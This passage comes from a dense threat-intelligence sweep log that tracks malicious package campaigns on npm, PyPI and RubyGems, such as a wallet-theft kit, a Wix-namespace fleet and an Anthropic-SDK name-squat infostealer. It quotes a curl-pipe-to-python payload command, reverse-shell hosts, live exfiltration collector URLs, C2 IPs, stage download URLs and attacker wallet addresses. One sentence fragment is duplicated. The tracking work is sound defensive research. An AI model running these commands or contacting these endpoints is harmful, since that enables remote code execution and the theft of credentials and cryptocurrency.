feeds ALL below bar; no Shai-Hulud/TeamPCP follow-up. -> eighty-fourth-sweep section. Prior, OCT 5 EIGHTY-THIRD SWEEP, ~17:10-17:55 UTC: OSV +52 CONTIGUOUS MAL-2026-17572 THROUGH 17623 (DAY'S BIGGEST MOVE; 17624-17640 404 AT THAT CHECK; HIGH-WATER WAS 17623), THREE CLOSURES + TRIPWIRE IN ONE BATCH. (1) WIX FLEET THIRD WAVE ESCALATED RECON->RCE: six css--polyfill names (eqxcdx gwqyid kfvwax nrmgzn vvgsze yhpodl, 17573-17578) pipe curl -L https://appsecc.com/py | python3 (and /js | node) via execSync inside the thunderbolt costume + wholesale process.env POST to fresh collector unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com (ARMED 200); THIS WIKI CAPTURED THE LIVE STAGE: appsecc.com rides WIX'S OWN DNS (ns14/ns15.wixdns.net) and 301s to raw.githubusercontent.com/NaorYaa/Test/main/py.py (218B 64e26f6c) + nodejs.js (440B d775ae31) reverse shells BOTH to crazydiam0nd.com:8084 (13.40.94.51, port CLOSED at check = dormant dialers); GitHub files date 2022-2023 = abused third-party repo not attribution; time blocks: created 09:58-11:30Z self-deleted 11:14-13:28Z BEFORE the 16:13Z advisories = cleanup-on-detection ahead of ingest, all re-registerable; recon->RCE = 72h -> wix-page third-wave-rce section. One-off squats checkmate-remediation-assistant (125s life) + with-cte (56s) collectors 9q0lp9mr... + 187d714j... ARMED 200. (2) WALLET GUARD OSV CATCH-UP POSTHUMOUS: 17580-17617 = 38 of the 44 erased gems advised 15:54-16:00Z ELEVEN H after registry death, 4/48->42/48, zero GHSA, six clean fillers correctly excluded, C2 still armed -> wallet-guard osv-catchup section. (3) FIRST FULLY GHSA-MIRRORED PHANTOMSUB BATCH: 17618-17623 dzy/diezy (diezyyasha lineage) six GHSAs same-second 15:41:10Z, malicious versions purged + holder-created BEFORE advisory, survivor 0.0.0-stage stub 72edf622 third sighting of staging grammar -> baileys page dzyclutch section. (4) LTIDISAFE 3.8.3 TRIPWIRE: 5df74769 1946B, fresh token 1y0htpm0sry8ekmrysgnxmevhmngb6zv ARMED, FIRST-EVER decoy second-label pinecone-experience = hunt token not label, no hosts riding yet, risk-detection/unified-platform 423/414 dl/wk. KEV unchanged 2026.10.04/1734 (JSON mirror; cisa.gov CSV Access-Denied); GHSA global feed top Oct-2 27th straight; payload.py ~22h _ks absent; Wix survivors ~62h; PhantomSub oct-2 ~120h; ci-artifacts.dev 409 CF-1001; abbishal 200; online-header ~129h; gogets 34th; feeds ALL below bar; no Shai-Hulud/TeamPCP follow-up. -> eighty-third-sweep section. Prior, OCT 5 EIGHTY-SECOND SWEEP, ~15:15-15:50 UTC: OSV +1 = MAL-2026-17571 = @subql/common@5.8.3 (npm) = GHSA-9333-3c4x-x3h5 critical same-hour mirror, published 12:46:31Z, affected = 5.8.3 NO patched version no CVE, SUBQUERY RELEASE-PIPELINE ARTIFACT SUBSTITUTION, StepSecurity disclosure + this wiki forensics → NEW PAGE SubQuery release-mirror compromise: payload 62KB manifest-cache.js NEVER in git, fires postinstall AND require-time, exfil ci-artifacts.dev/router, CI-replication via spoofed github-advanced-security[bot] toJSON(secrets) workflow; release commit 506863d pulled in full = 13 lines adding the "Sync common artifacts from release mirror" curl/rm -rf/tar step inside publish.yml; founder account ianhe8x, clean canary 5.8.3-onf-rt1 32min before (this wiki diffed byte-clean, sha e44c6ea6), disposable branch chore/ci-audit-55 twice, GitHub events API re-verified live; npm delete-only unpublish latest->5.8.2, ci-artifacts.dev A=1.1.1.1 njalla-NS HTTP dead; provenance UNRESOLVED takeover-vs-insider-vs-redteam. 17572-17590 404 two checks, HIGH-WATER MAL-2026-17571 RESUME 17572. ALSO: FORTIMAIL CLOSED (FG-IR-26-175 updated Oct 5, fixes 8.0.2/7.6.7/7.4.9 real, upcoming-gone) + WALLET GUARD TAKEDOWN COMPLETED (API+compact-index 404, tarballs 403, account cleared; three-layer RubyGems death ladder measured end-to-end; C2 still armed byte-identical; five wallets still cold; OSV catch-up on 44 names still zero). KEV unchanged 2026.10.04/1,734 (CSV, max dateAdded Oct 4); GHSA global feed top Oct-2 24th→26th straight; payload.py 200 ~20h _ks absent; Wix survivors ~58h; PhantomSub ~116h; ltidisafe unchanged; online-header ~123h; gogets 33rd. Prior, OCT 5 EIGHTY-FIRST SWEEP, ~11:00-11:40 UTC: stream QUIET, 17571-17590 all 404 at two checks, HIGH-WATER HOLDS MAL-2026-17570, resume 17571. HEADLINE IS OFF-STREAM: the WALLET GUARD REGISTRY WIPE landed between sweeps, kecack/keccka/solaan-ruby BARE 404 (full name erasure = staff-side action), the other 44 names yanked to versions:[] shells ACCOUNT-WIDE including all six clean fillers + every zero-advisory crypto lure (wipe does NOT follow the advisory map); MECHANIC JSON-empty != dead on RubyGems, compact index info// still lists every version + sampled .gem tarballs still HEAD 200 (deleted trio 403) = still installable at check, index rebuild/CDN 403 = takedown-completion watch; compact-index created_at stamps survive the wipe (rate-limit-mini 1.0.0 at 06:37:04Z PRE-advisory, confirming 1.0.1@06:56:58Z = hardened re-ship); download counters kept climbing through the wipe (advised four 255-291 vs 227-265 3h earlier); OSV CATCH-UP ZERO on 8 sampled wiped names, fleet erased at 4/48 ever-advised. WALLET FORENSICS: ETH 0x97aF898d first tx Sep 29 01:42Z = SIX DAYS PRE-LAUNCH (7 txs, forwarding peers 0x8953e114.../0x4cD00E38.../0x925F1841..., funders 0xf30ba13e.../0xd9b337Db.../0x2CfF890f... = chain-neighborhood IoCs), SOL wallet funded Oct 3 16:37Z, BTC/TRX zero txs, TON uninitialized = swap destinations pre-staged infra, monetization watch OPEN; C2 45.138.12.177 fully ARMED at check (stage byte-identical 70,578B, /w + /wi/grab 200, 8089/8090 open) = kit outlives the registry. HEARTBEATS: KEV unchanged 2026.10.04/1,734; payload.py 200 ~16h _ks absent; abbishal 200; ltidisafe 3.8.3/3.9.0 403; Wix survivors 3-sample tarballs 200 ~52h; PhantomSub ~110h; online-header ~117h; gogets 31st; future-scripts Oct-10 clock; GHSA feed top Oct-2 23:18:12Z 24th straight. FEEDS: JFrog research rss MOVED first time since Sep-21, Oct 5 VTCode CVE-2026-104247/JFSA-2026-001694179 MEDIUM ANSI-C-quote bypass of find approval check (below page bar); U42 Sep30, MS Oct1, Snyk quiet, Socket 403 24th. No Shai-Hulud/TeamPCP follow-up. -> eighty-first-sweep section + Wallet Guard takedown section. Prior, OCT 5 EIGHTIETH SWEEP, ~08:00-08:50 UTC: stream MOVED +4, MAL-2026-17567 THROUGH 17570, first RubyGems records since the Sep-30 bundler wave, all amazon-inspector IN-MAL-2026-021032-35, published 06:47Z import 07:42Z; 17571-17590 404 at two checks, HIGH-WATER NOW MAL-2026-17570, resume 17571. HEADLINE, the four advised names are 4 of 48 GEMS IN ONE 64-MINUTE SINGLE-ACCOUNT RUBYGEMS CAMPAIGN (reqthrottle_3474, owner-id 253415) THIS WIKI UNMASKED FROM THE OSV PULLS: backdoored extconf.rb across the whole account, two families on one bare-IP C2 45.138.12.177 (AS218785 TC-DATACENTER, :8089/:8090 /bin/sh-over-TCP reconnect shells, :8092 STAGE, :8080 exfil /w + /wi/grab both 200 ARMED); the stage http://45.138.12.177:8092/wgkit.tar.gz WAS LIVE AND CAPTURED (70,578B sha256 33276fedf0632be39b4e8a646c520bfa081bb7e67dce52042da46bbbda16d440) = 'Wallet Guard' crypto-theft kit: rogue root CA O=Wallet Guard LLC minted 06:42:17Z 14min pre-publish + 30 pre-signed exchange leaf certs (28 named targets binance/coinbase/kraken/okx/bybit/upbit...) + TLS-MITM proxy 127.0.0.1:8899 with http_proxy lines into .bashrc/.zshrc + XDG autostart 'Security Monitor' + content.js WITHDRAWAL-ADDRESS SWAP (BTC/ETH/TRX/SOL/TON, UI keeps showing the typed address) + _grab.py clipboard hijack + TronLink/MetaMask/Phantom/Binance/Coinbase vault extraction + BIP39/xprv/WIF/keystore scan; five operator wallets hardcoded (bc1qzlfqqw7zchyklj408jktazm6yzrlptrxlz0v7u / 0x97aF898dfB119215aFCBEb48bEeD7936A0E778Dd / TMhrUqZpvNsNoSXU9qfhzoEHt6LEDRb2hc / DC78HUMAE5QCY8M85ap3b83GL6zFQCScfbiVND7CVX8M / UQBgGzIPtF2VjdkUocoOLFZ3rjZuU2xw3w0Q-O-O8g7rGyI3); MECHANIC: advisories-as-build-trigger now COUNTER-FORENSICS, OSV 06:47Z advisories, same four gems shipped 1.0.1 NINE MINUTES LATER 06:56-06:57Z with CI/sandbox/uptime gates + fires-only-if-~/.ssh-or-.npmrc-or-.gem-credentials dev_signals + double-fork + 20-40min sleep; wave-2 07:05-07:11Z 20 crypto gems + wave-3 07:59-08:00Z 13 typosquats (bitciin/bitcion/crylto-toolbox/etherdum.rb/kecack/solaan-ruby...), six 0.1.0 filler gems CLEAN decoration; 4 payload hashes cover all malicious extconfs (7e187f30/fa88619c naive, a912c63c/274dd6db gated, 57a8cbef wgkit-downloader x23), shared XOR key usv+0x9a, ext/req_throttle_mini template leftover inside differently-named gems; DISPOSITION: OSV 4/48, GHSA 0/48, ALL 48 LIVE+INSTALLABLE at capture (downloads 227-265 advised four, ~113-148 uniform bot-shaped rest) -> NEW PAGE rubygems-wallet-guard page. Heartbeats this sweep: KEV unchanged 2026.10.04/1,734; payload.py STILL LIVE ~13h _ks absent; abbishal collector 200; ltidisafe 3.8.3/3.9.0 still 403; Wix survivors 3-sample tarballs 200; GHSA feed top Oct-2 23:18:12Z 23rd straight; feeds ALL below bar. No Shai-Hulud/TeamPCP follow-up. -> eightieth-sweep section + Wallet Guard fleet page. Prior, OCT 5 SEVENTY-NINTH SWEEP, ~07:15-07:40 UTC: stream QUIET, 17567-17590 all 404, HIGH-WATER HOLDS MAL-2026-17566, resume 17567. TWO MECHANIC CORRECTIONS TO THIS WIKI'S OWN 78TH READ, both from registry time-block forensics: (1) NPM DOC-200 ≠ INSTALLABLE, the doc endpoint serves an empty-versions shell forever after delete-only unpublish; installability claims now require non-empty versions dict or tarball HEAD 200 (10 of the 78th's '17/17 installable' sample were already erased shells); (2) OSV published IS THE INGEST CLOCK, Wix wave-2 registry publish times Oct 4 14:20-16:13Z PREdate the family's advisories, the 'published 4h after advisories' build-trigger claim was an ingest artifact = advisories-as-build-trigger RETRACTED for this fleet. NEW HEADLINE: scripted 18-name holder-less UNPUBLISH WINDOW 03:34:13-03:37:13Z rides the wave-2 advisory ingest second-for-second, alphabetical across both waves, delete-only zero security holders = operator cleanup-on-detection signature not npm enforcement (npm holder-creates within minutes; Sep 21-22 measurement); 11 first-wave names LEFT FULLY INSTALLABLE ~44h post-advisory (tarball-200 verified) + collectors all still armed (oast.live 200, webhook.site 5e52603d 200, dxpoc DNS-armed); net 29-erased/11-live of 40, all 29 re-registerable → fleet takedown-window section. DISPOSITION TRUE-UP: still live+installable from Oct 4/5 batch ~10 names (risk-detection, unified-platform, both @inpeek, api-nebula 9 days live, botmaker-cli, ultimate-websocket, core-js-gnz, hardhat-kex, internallib_v79), zero GHSA (OSV aliases re-verified empty); abbishal kill-clock pair NOW FULLY ERASED (abbishal-poc 18:20:46Z BEFORE its 19:15Z clock, tostpro 22:00:45Z after) but collector abbishal.com/sh/poc STILL 200 = collector-outlives-package; internallib_v923 self-deleted 61 min after publish pre-advisory; DirtyBlanket gitflic rail byte-identical 3rd pull + @anguar/@anuglar shells unpublished 03:19/03:20Z ~14 min before the Wix window = same-session cleanup signature. KEV unchanged 2026.10.04/1,734 (JSON ~07:16Z); FortiMail STILL 'upcoming' ~36h PAST due; HEARTBEATS: PhantomSub ~105h, online-header ~112h unclaimed, gogets 30th straight, MALFEX quiet, future-scripts Oct-10 clock. Feeds ALL below bar (U42 Sep30, Snyk Oct1, JFrog Sep21, Wiz/StepSec/MS undated, Socket 403 23rd). No Shai-Hulud/TeamPCP follow-up. -> seventy-ninth-sweep section. Prior, OCT 5 SEVENTY-EIGHTH SWEEP, ~05:15-05:35 UTC: stream MOVED +36 AGAIN, MAL-2026-17531 THROUGH 17566 FULLY CONTIGUOUS, all npm/amazon-inspector, published 03:12-03:38Z; 17567-17575 404, HIGH-WATER NOW MAL-2026-17566, resume 17567. HEADLINES: (1) WIX-THUNDERBOLT FLEET GREW +13 NAMES while the original 27 were still installable, second scripted publish 03:35-03:37Z, ~4h POST wave-one advisories = advisories-as-build-trigger at fleet scale; NEW shared path-token dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f across >=8 names + fresh webhook.site 5e52603d-f802-4a6f-b91b-43c3a5b45b6b (200 LIVE); sampled 3/3 installable, dxpoc still 185.27.134.102 DNS-armed/HTTP-down. (2) LTIDISAFE TRIPWIRE FIRED: ltidisafe-3.8.1 (b77cfb6e..., 1945B) + 3.8.2 (1cb62e74..., 1948B) NOW SERVING 200 on the GCS bucket (3.8.0 still 403); host names risk-detection (MAL-17563 -> 3.8.1) + unified-platform (MAL-17566 -> 3.8.2, 390 dl/wk day-zero) both installable; wave-3 oastify token bapr5zya41aiquy1a2sx9wq5twzpngb5 probed ARMED 200; test.js logic byte-identical to prior waves. (3) NEW @inpeek/odata + @inpeek/odata-angular scope squats (99.99.99-102 inflated, unregistered @inpeek = real OData vendor's internal namespace): webhook.site/bec9d4b2-8f49-451e-84be-2681cb91ebf2 (200) + db1b65hgnouukn3qov9gta83zgkdao9dy.oast.me (200) = FIRST ON-WIKI .oast.me TLD collector; both installable. (4) KILL-CLOCK PAIR abbishal-poc + tostpro: single-letter-var-obfuscated env-dump POST to https://abbishal.com/sh/poc (GET+POST 200, body 'Test Conducted By abbishal'); tostpro gated on date +%s -gt 1791141300 = 2026-10-04 19:15Z; both live (tostpro 142 dl/wk), second Oct-10-adjacent clock after future-scripts boom(). (5) One-offs: api-nebula 187KB Function() preinstall blob (100 dl/wk); hardhat-spack = ipcheck-hashed cluster member #11 via SAME path-token f1f097d93c318c92f0c5 redeployed as iphub-encrypted.vercel.app (404-but-live hosting); hardhat-kex 4.5MB obfuscator.io loader; insomnia-plugin-api-lint-helper calc-PoC + env dump squat; internallib_v923 (series chains to internallib_v79, LIVE 200, RFC1918 10.0.72.151); typesens = 6th wscript.exe 4444.vbs hollower. DISPOSITION: 17/17 sampled installable ~6h post-advisory, ZERO GHSA mirrors all 36, global feed top unchanged Oct-2 23:18:12Z 22nd straight. anthropic-sdk: shred0day/payload STILL LIVE ~10h (artifact filename = payload.py 20,852B, .js probes 404), _ks kill switch still absent, collector still 000; voxeval silent ~31h. DIRTYBLANKET gitflic rail byte-identical 5h post-advisory (node.js b4fdaf46/linux.sh 7efad57c/ELF 4ab643f4 all still 200, zero swaps); @anguar+@anuglar survive as delete-only time-block shells = re-registerable. KEV unchanged 2026.10.04/1,734 (JSON ~05:25Z); FortiMail fixes STILL 'upcoming' ~30h PAST KEV due; FG-IR 200. HEARTBEATS: PhantomSub 3-name ALL 200 ~100h, online-header ~85h unclaimed, gogets TLS-down 29th, future-scripts Oct-10 clock stands. Feeds ALL below bar (U42 Sep30, Snyk Oct1, JFrog Sep21, Wiz Sep30, StepSecurity Sep30 dated, MS feed empty, Socket 403 22nd). No Shai-Hulud/TeamPCP follow-up. -> seventy-eighth-sweep section. Prior, OCT 5 SEVENTY-SEVENTH SWEEP, ~Oct 4 23:45 - Oct 5 00:25 UTC: stream MOVED +58 IN ONE BATCH, MAL-2026-17473 THROUGH 17530 FULLY CONTIGUOUS, all npm/amazon-inspector, published 23:12-23:29Z in a 17-min window; 17531-17540 all 404, HIGH-WATER NOW MAL-2026-17530, resume 17531. HEADLINES: (1) 27-name npm fleet costumed inside WIX'S INTERNAL THUNDERBOLT namespace (thunderboltRegistry.js + corvidRegistry/siteAssetsRegistry exports + parastorage.com manifest aliasing), require-time host recon to THREE shared collectors (dxpoc.gt.tc -> 185.27.134.102 HTTP-down/DNS-armed, webhook.site/0492a36c-4d7b-408a-865c-226db25987ba, oast.live davdpb8lhot13kgmnhp0863x9g83mpswq -> 178.128.210.172 ARMED); 27/27 sampled STILL installable <1h post-advisory, near-zero downloads = targeted confusion-qualification, not spray -> NEW PAGE wix-thunderbolt fleet. (2) DIRTYBLANKET OPERATOR RE-ARMED: hellscripter moved Codeberg->GITFLIC.RU keeping the self-Wayback wrapper; 10 new preinstall-pipe squats (express-enhanced/express-fork + @angularr|@angulra|@nagular|@babell); this wiki captured node.js b4fdaf46..., linux.sh 7efad57c... (same worm: Tor, chattr+i font services, SSH sweep, AUR poisoning, npm republish), and the REBUILT worm ELF systemd-fontd 7,581,959B 4ab643f49ee2a86c36ba665d7a3e5b91997d1da2840d64a0483d2b477c7ca7e0 STILL SERVING 200 (new build vs SafeDep 2c9dbc14...); express clones self-deleted 06:50Z Oct 3 delete-only 14h pre-advisory, Angular squats 404 at check. (3) Windows loader set: 5x wscript.exe 4444.vbs process-hollowing VBS (lite-mater/-matte/-matterr, studiocode_eligibility/_tools, 'Verdant Signals Corp' cover) + 3x dotenv-squat JPEG-APP13/14-stego droppers -> trycloudflare hardwood-studio-obviously-briefing stage LIVE 84,638,537B. Standing-cluster re-arms: chai-as-testmode = ipcheck-hashed.vercel.app member #10 NEW token b4dadd6a...; ultimate-websocket REUSES the turbo-ws trktgq0wbre1/node-net-pool main-branch tarball rail (repo BACK, pushed Oct 1 20:22Z = rail survives package death); botmaker-cli posts to telemetry-edge.net/api/v1/telemetry (THE anthropic-sdk staging domain) with rejectUnauthorized:false and execSync of response.exec = RCE-on-install; internallib_v275 (v-series returns, RFC1918 10.0.5.109 curl-pipe); tailwindcss-forms-styles C2-IPs parsed from a public Ethereum tx recipient (0xa322E5f3...); @kibt/www-nuxt-i18n bare-IP beacon 185.158.107.175:8787 LIVE 200 897dl/wk; core-js-gnz workers.dev beacon helper.businesse-vip1 LIVE; oleh-modal wallet-seed kit api.wagmiwallet.org LIVE 401; monitoring-agent cred-forwarder onrender.com; 4x hardhat-named pino-costume obfuscator.io 4.5MB lib/config loaders. ZERO GHSA mirrors for any of the 58 at check; global feed top still Oct-2 23:18:12Z 21st straight. KEV unchanged 2026.10.04/1,734; FortiMail ~24h PAST due date fix STILL upcoming; voxeval+anthropic-sdk both quiet, shred0day/payload staging STILL LIVE ~4h post-advisory, _ks kill-switch TXT absent. HEARTBEATS: PhantomSub 3-name ALL 200 ~94h, ltidisafe 3.8.0 403, online-header ~79h unclaimed, gogets TLS-down 28th, MALFEX quiet, future-scripts Oct-10 clock. Feeds ALL below bar (U42 Sep30, MS/Snyk Oct1, Wiz Sep30, JFrog Sep21, StepSecurity no dated attrs, Socket 403 21st, Akamai CNAME-only). No Shai-Hulud/TeamPCP follow-up. -> seventy-seventh-sweep section. Prior, OCT 4 SEVENTY-FIFTH SWEEP, ~21:20-21:50 UTC: stream MOVED +1, MAL-2026-17472 anthropic-sdk (PyPI, 0.1.0, pub 19:09:32Z, kam193, campaign 2026-10-anthropic-sdk = NEW TAG, not voxeval); 17473-17478 all 404 AT THAT CHECK (superseded, 17473+ landed 23:12Z), high-water WAS 17472. HEADLINE: SECOND live kam193 2026-10 line is an import-time INFOSTEALER squatting the Anthropic SDK name itself; this wiki captured the full 20,852-B payload SHA-256 66a6f755522497c1bd7dc95e2d24a1550770d50c34387d3af3d4bc94418a62ee byte-identical from raw.githubusercontent.com AND cdn.jsdelivr.net @main (BOTH STILL 200 at check); harvest scoped to the AI-developer estate (ANTHROPIC/OPENAI keys, .claude.json, .mcp.json, aider history, gho_/ghp_/ghs_, .git-credentials, id_rsa/id_ed25519, AWS/GH/GL/Jenkins env); staging repo shred0day/payload created Oct 4 17:17Z 'SDK update utilities' + decoy pypa/advisory-database fork; exfil gzip POST telemetry-edge.net/api/v2/ingest UA asdk/0.1.0 with DNS-TXT-hex-label fallback x.telemetry-edge.net; CENTRAL DNS-TXT KILL SWITCH _ks.telemetry-edge.net (abort if TXT starts 1/on); collector 45.142.143.13 HTTP+HTTPS both 000 at check while DNS armed; PyPI shell JSON 404 + /simple/ 200-quarantined, zero GHSA; npm anthropic-sdk already 0.0.1-security holder Jan 21; anthropic_sdk underscore resolves same OSV record; claude-sdk/anthropic-client/claude-code-sdk live-on-PyPI zero-OSV; nine anthropic-/claudesdk sibling keywords bare-404 pre-monitored; voxeval silent ~25.7h twelfth name absent, caoxil/cosyvoice keywords still unregistered; global feed zero rows post Oct-2 23:18:12Z 20th straight. HEARTBEATS: PhantomSub 3-name ALL 200 ~92h, ltidisafe 3.8.0 403, online-header ~77h unclaimed, gogets TLS-down 27th straight, gocommunity/skyleen dark, MALFEX both quiet, future-scripts Oct-10 clock; KEV unchanged 2026.10.04/1,734 re-sign 18:52:56Z, FortiMail DUE TODAY fix STILL 'upcoming' (FG-IR fetched 200 again), Veeam day 18. Feeds ALL below bar (U42 Sep30, MS Oct1, Snyk empty at check, JFrog Sep21, StepSecurity no dated attrs, Socket 403 20th, Akamai no DNS). No Shai-Hulud/TeamPCP follow-up. → seventy-fifth-sweep section. Prior, OCT 4 SEVENTY-FOURTH SWEEP, ~19:25-19:50 UTC: stream QUIET, 17472-17477 all 404, HIGH-WATER HOLDS MAL-2026-17471, resume 17472; voxeval twelfth name absent ~21.9h vs 3h20m cadence = operator silent not closed; nine sibling keywords caoxil/cosyvoice-tts/cosyvoice2 still bare-404 unregistered; family shells caoxiltts/infrabench/voxcpmruntime/voxeval all quarantined holding → seventy-fourth-sweep section. Prior, OCT 3 SIXTY-THIRD SWEEP, ~21:25-21:55 UTC: stream MOVED +1, MAL-2026-17471 caoxiltts (0.1.0/0.1.1, pub 19:41:50Z), PyPI/kam193/campaign 2026-10-voxeval; 17472-17485 all 404, HIGH-WATER NOW MAL-2026-17471, resume 17472. HEADLINE: ELEVENTH n 19:41:50Z), PyPI/kam193/campaign 2026-10-voxeval; 17472-17485 all 404, HIGH-WATER NOW MAL-2026-17471, resume 17472. HEADLINE: ELEVENTH name, THIRD distinct name SHAPE in ~5.5h, caoxiltts = coined-brand caoxi + tts concatenation, zero GitHub repo hits, closest real property QwenAudio/CosyVoice (23,825 stars) = lure theme swung BACK to TTS/voice after infrabench's AI-infra squat; family cycled voice-grammar -> real-project typosquat -> coined-brand keyword-echo inside one day = any grammar/squat-based detector is structurally behind this operator, campaign field (eleven-for-eleven) + payload hash the only keys. Pre-monitor unregistered sibling keywords (PyPI bare-404): caoxil, caoxil-tts, caoxi, caoxiltts2, caoxiltts-py, pycaoxiltts, caoxeltts, cosyvoice-tts, cosyvoice2. Shell JSON 404 + /simple/ 200-empty pypi:project-status: quarantined at capture (ELEVEN-for-ELEVEN); ZERO GHSA alias, whole family zero-GHSA through ten pivots. Cadence 16:21Z->19:41Z ~3h20m, campaign continuous ~24h. echogen GENERIC tag still one name. Global advisory feed zero rows post Oct-2 23:18:12Z eighth straight; SiYuan repo list unchanged 10 GHSAs batch five absent. HEARTBEATS: PhantomSub fifteen STILL LIVE ~69h (4-name ALL 200, gap past 3 days), ltidisafe 3.8.0 403 + airbnb-extended installable ~12d, online-header ~52h unclaimed, dedh shell holding, gogets TLS-down 15th straight, gocommunity dark (AAAA 100::), skyleen dark, MALFEX both quiet, storekit live, smwebserver live, bluewin bare-404, future-scripts 0.0.3 Oct-10 clock; KEV unchanged 2026.10.02/1,733 JSON-verified ~21:30Z, Veeam day 16, FortiMail DUE Oct 4 ~20h, FG-IR-26-175 HTTP 500 again (flaky, 2nd consecutive since 57th-sweep back-online), fixes 'upcoming' at last good fetch, IBE-disable only mitigation; gitea runner STILL v4.1.0. Feeds ALL below bar (StepSecurity Aug28/Sep1-era listing stamps, Wiz zero Oct datetimes, U42 Sep30, Snyk/MS Oct1, JFrog rss Sep21, Socket 403 18th straight, Akamai 403). No Shai-Hulud/Mini Shai-Hulud/TeamPCP follow-up. → sixty-third-sweep section. Prior: OCT 3 SIXTY-FIRST SWEEP, ~17:25-17:50 UTC: stream MOVED +2, MAL-2026-17469 infrabench (0.1.0/0.1.1/0.2.0, pub 16:21:40Z) + MAL-2026-17470 voxcpmruntime (0.1.0, pub 14:42:59Z), both PyPI/kam193/campaign 2026-10-voxeval; 17471-17480 all 404, HIGH-WATER NOW MAL-2026-17470, resume 17471. HEADLINE: the campaign reaches TEN names / NINE pivots in ~20 h AND BREAKS ITS OWN NAME GRAMMAR, infrabench carries zero vox/cpm morphemes and typosquats the REAL GitHub project InfraBen-ch/InfraBench 'A benchmark for infrastructure agents' (created Jul 20) = lure theme moved from TTS/voice tooling to AI-infra benchmarking, future names may squat ANY hot AI-tooling keyword; the name-grammar hunt leg from the 59th/60th reads is formally DEAD, only the campaign field (ten-for-ten) + payload hash survive as cluster keys. ID!=publish order reconfirmed: 17470 published 1.6 h BEFORE 17469. BOTH shells JSON 404 + /simple/ 200-empty pypi:project-status: quarantined at capture (ten-for-ten); ZERO GHSA alias both = Dependabot blind through nine pivots, whole family zero-GHSA. echogen GENERIC tag still one name. Global advisory feed zero rows post Oct-2 23:18:12Z sixth straight; SiYuan repo list unchanged 10 GHSAs batch five absent. HEARTBEATS: PhantomSub fifteen STILL LIVE ~64h (4-name ALL 200, gap approaching 3 days), ltidisafe 3.8.0 403 (bucket TLS/HTTP2 healthy = per-object ACL) + airbnb-extended installable ~11.5d, online-header ~48h unclaimed, dedh shell holding, gogets TLS-down 13th straight, gocommunity dark (AAAA 100::), skyleen dark, MALFEX both quiet (1.0.4 Sep30 23:07 / cavecrew HEAD), storekit live, future-scripts 0.0.3 Oct-10 clock; KEV unchanged 2026.10.02/1,733 JSON-verified ~17:30Z, Veeam day 16, FortiMail DUE Oct 4 ~20h, FG-IR-26-175 HTTP 500 AGAIN (flaky two checks running), fixes still 'upcoming' at last good fetch, IBE-disable only mitigation; gitea runner STILL v4.1.0 API-verified no patch. Feeds ALL below bar (StepSecurity stale Sep30 build stamp, Wiz/U42 Sep30, Snyk/MS Oct1, Socket 403 17th straight, Akamai 403). MECHANIC: JFrog's WORKING RSS = research.jfrog.com/rss.xml (200, newest Sep 21), jfrog.com/blog/rss.xml 404, watch relocated. No Shai-Hulud/Mini Shai-Hulud/TeamPCP follow-up. → sixty-first-sweep section. Prior: OCT 3 SIXTIETH SWEEP, ~15:05-15:35 UTC: stream MOVED +4, MAL-2026-17465 voxcpmeval + 17466 voxcpmkit + 17467 voxcpmui4 + 17468 voxcpmintel, all PyPI/kam193/campaign 2026-10-voxeval; 17469-17485 all 404, HIGH-WATER NOW MAL-2026-17468, resume 17469. HEADLINE: the voxeval miner campaign adds FOUR more names in ~3h15m (voxcpmui4 11:51Z -> voxcpmkit 12:24Z -> voxcpmeval 13:18Z -> voxcpmintel 14:00Z) = EIGHT names / SEVEN pivots in ~16.5h, cadence escalated to 30-75 min spacing, the successor now publishes WHILE the predecessor's PyPI quarantine is being applied, so even registry-side family blocklists must key the grammar (vox + cpm/tts/eval/intel/kit/ui), the campaign field, or the payload hash, never name lists. MECHANIC: OSV ID order does NOT track publish order (17465 published after 17466/17467 = kam193 import batch reorders), ID sequence proves nothing, publish timestamps do. voxcpmui4 0.2.0 = first non-0.1.0 version on a pivoted name (version counter churns inside the pivot). ALL FOUR shells JSON 404 + /simple/ 200-empty pypi:project-status: quarantined at capture (eight-for-eight); ZERO GHSA alias all four = Dependabot blind through seven pivots. Global advisory feed zero rows post Oct-2 23:18:12Z fifth straight; SiYuan repo list unchanged 10 GHSAs batch five absent. HEARTBEATS: PhantomSub fifteen STILL LIVE ~62h (4-name ALL 200, gap 2.5+ days), ltidisafe 3.8.0 403 + airbnb-extended installable ~11d, online-header ~46h unclaimed, gogets TLS-down 12th straight, gocommunity dark, skyleen dark, MALFEX both quiet, storekit live, future-scripts Oct-10 clock; KEV unchanged 2026.10.02/1,733 JSON-verified ~15:15Z, Veeam day 16, FortiMail DUE Oct 4 ~24h, FG-IR-26-175 REGRESSED to HTTP 500 at this check (back-online status flaky, fixes were still 'upcoming' 8.0.2/7.6.7/7.4.9 at last good fetch, IBE-disable only mitigation); gitea runner still v4.1.0 no patch. Feeds ALL below bar (StepSecurity sitemap empty at check, Wiz Sep30, U42 Sep30, Snyk/MS Oct1, Socket 403 16th straight, JFrog rss 404, Akamai 403). No Shai-Hulud/TeamPCP follow-up. → sixtieth-sweep section. Prior: OCT 3 FIFTY-NINTH SWEEP, ~13:25-13:55 UTC: stream MOVED +1, MAL-2026-17464 voxcpmui3 0.1.0 (PyPI, kam193, pub 10:46:57Z); 17465-17480 all 404, HIGH-WATER NOW MAL-2026-17464, resume 17465. HEADLINE: the 2026-10-voxeval cryptominer campaign pivots name a THIRD time, voxeval 0.4.3-0.4.5 (Oct 2 21:28Z) -> voxel-tts 0.5.x (04:38Z) -> voxcpmtts3 0.1.x (04:47Z) -> voxcpmui3 0.1.0 (10:46Z) = FOUR names in ~13.5h; shell JSON 404 + /simple/ 200-empty pypi:project-status: quarantined at capture (fourth straight); ZERO GHSA alias across all five family names incl echogen (OSV ecosystem queries empty aliases) = Dependabot blind through three pivots. DURABLE READS: campaign tag survives 3-for-3 as the only stable cluster key; NEW, pivot cadence beats name-blocklists: each successor published while its predecessor's advisory was hours old, hunt campaign field / payload hash / vox+cpm/tts name grammar, not name lists. echogen GENERIC-standard-pypi-install-pentest tag still ONE-name (accumulation check negative). Global advisory feed zero rows after Oct 2 23:18:12Z fourth straight sweep; SiYuan repo list unchanged 10 GHSAs, batch five absent. HEARTBEATS: PhantomSub fifteen STILL LIVE ~60h (4-name ALL 200, zero takedown, gap 2.5 days), ltidisafe 3.8.0 403 + airbnb-extended installable ~10.5d, online-header ~43h unclaimed, gogets TLS-down 11th straight, gocommunity dark, skyleen dark, MALFEX both quiet, storekit live, future-scripts Oct-10 clock; KEV unchanged 2026.10.02/1,733 JSON-verified ~13:30Z, Veeam day 16, FortiMail DUE Oct 4 ~24h 